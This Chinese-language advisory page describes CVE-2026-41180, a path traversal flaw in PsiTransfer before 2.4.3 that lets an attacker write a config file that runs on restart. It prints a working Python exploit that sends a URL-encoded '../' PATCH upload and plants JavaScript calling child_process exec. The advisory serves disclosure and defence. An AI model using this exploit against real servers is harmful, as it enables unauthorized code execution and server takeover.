IPBUF安全漏洞报告
English
CVE-2026-41180 CVSS 7.5 高危

CVE-2026-41180 PsiTransfer路径遍历致RCE漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41180
漏洞类型
路径遍历导致远程代码执行
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
PsiTransfer

相关标签

路径遍历远程代码执行PsiTransfer任意文件写入CVE-2026-41180

漏洞概述

PsiTransfer是一个开源的自托管文件共享解决方案。在2.4.3版本之前,其`/files/:uploadId`接口的上传PATCH流程存在严重的路径验证绕过漏洞。系统仅对编码后的`req.path`进行挂载路径验证,但底层的tus处理器却使用解码后的`req.params.uploadId`进行文件写入操作。在特定的部署环境下,未经身份认证的攻击者可利用此差异绕过安全检查,在应用程序根目录下创建恶意的`config.<NODE_ENV>.js`配置文件。该文件将在下一次进程重启时被自动加载并执行,从而导致远程代码执行(RCE)。

技术细节

该漏洞的成因在于PsiTransfer在处理文件上传请求时,对路径参数的处理逻辑存在不一致性。具体而言,验证逻辑检查的是`req.path`(即包含URL编码字符的原始请求路径),而实际执行文件写入操作的tus处理器使用的是`req.params.uploadId`(即已被URL解码的参数)。这种差异使得攻击者可以构造包含路径遍历字符(如`../`)并进行URL编码的Payload。在验证阶段,系统识别的是编码后的安全路径;而在写入阶段,解码后的路径跳转到了上层目录。利用该漏洞需要满足一定条件:目标环境需配置了自定义的`PSITRANSFER_UPLOAD_DIR`,且该目录的basename前缀必须能够覆盖到应用启动时加载的JavaScript路径(例如`conf`目录)。成功利用后,攻击者可以向应用根目录写入任意内容的`config.<NODE_ENV>.js`文件。由于Node.js应用在启动时会加载此类配置文件,攻击者注入的恶意JavaScript代码将在服务重启时获得执行权限,进而完全控制服务器。

攻击链分析

STEP 1
侦察与探测
攻击者识别目标运行的是PsiTransfer < 2.4.3版本,并探测其上传目录配置结构,判断是否满足路径遍历至根目录的条件。
STEP 2
构造恶意请求
攻击者构造包含URL编码路径遍历字符(如%2e%2e%2f)的PATCH请求,目标是向应用根目录写入`config.<NODE_ENV>.js`文件,内容包含恶意JavaScript代码。
STEP 3
验证绕过与文件写入
由于系统校验`req.path`(编码后)通过,但tus处理器写入`req.params.uploadId`(解码后),恶意文件被成功写入应用程序根目录。
STEP 4
触发代码执行
等待应用程序重启(手动重启或系统崩溃重启)。启动时应用加载恶意的配置文件,执行攻击者注入的JavaScript代码,从而获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual target) target_url = "http://localhost:3000/files" # The vulnerability lies in the validation of req.path vs usage of req.params.uploadId # We need to traverse to the root directory to write the config file. # Assuming the upload dir basename allows traversal to root (e.g. /data/uploads -> /data -> /) # Target payload to create: config.development.js malicious_filename = "config.development.js" # Path traversal payload to go up directories and drop the file in root # Example payload: ../../config.development.js traversal_payload = "../../" + malicious_filename # URL encode the payload to bypass the req.path validation check # The validator sees the encoded string as a valid filename, but the writer decodes it. encoded_upload_id = traversal_payload.replace("/", "%2F") # Malicious JavaScript code to be executed on server restart # This example attempts to require a child process to execute a command malicious_js_content = """module.exports = { get: function(key) { const { exec } = require('child_process'); exec('touch /tmp/pwned'); return 'pwned'; } };""" # Construct the full endpoint URL endpoint = f"{target_url}/{encoded_upload_id}" # Headers required for the TUS upload protocol headers = { "Tus-Resumable": "1.0.0", "Upload-Length": str(len(malicious_js_content)), "Content-Type": "application/offset+octet-stream", "Upload-Offset": "0" } print(f"[*] Sending payload to {endpoint}...") try: response = requests.patch(endpoint, data=malicious_js_content, headers=headers) # Check if the write operation was accepted (HTTP 200 or 204) if response.status_code in [200, 201, 204]: print("[+] Payload likely sent successfully.") print("[+] The malicious config file has been written.") print("[*] Wait for the application process to restart to trigger RCE.") else: print(f"[-] Exploit failed. Server returned status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

PsiTransfer < 2.4.3

防御指南

临时缓解措施
如果无法立即升级版本,建议通过文件系统权限限制来缓解风险,确保运行PsiTransfer的用户对应用程序根目录及配置文件目录(如包含`config.*.js`的目录)没有写入权限。同时,检查自定义的`PSITRANSFER_UPLOAD_DIR`配置,确保其目录结构不会允许通过路径遍历到达应用根目录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表